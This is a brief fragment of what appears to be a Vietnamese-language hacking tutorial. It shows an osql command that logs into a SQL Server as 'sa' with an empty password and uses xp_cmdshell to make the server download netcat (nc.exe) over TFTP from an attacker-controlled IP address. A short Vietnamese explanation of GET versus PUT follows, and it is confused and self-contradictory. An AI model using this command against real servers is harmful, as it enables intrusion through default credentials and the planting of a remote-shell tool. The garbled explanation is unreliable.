C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’”
Để download một file nào đó, có thể dùng lệnh PUT thay vì GET, bởi vì các câu lệnh này sẽ được thực hiện trên server chứ không fải ở máy tấn công. Nếu ta dùng GET, câu lệnh sẽ thực hiện trên server và sẽ download nc.exe từ máy tấn công tới server.
Comment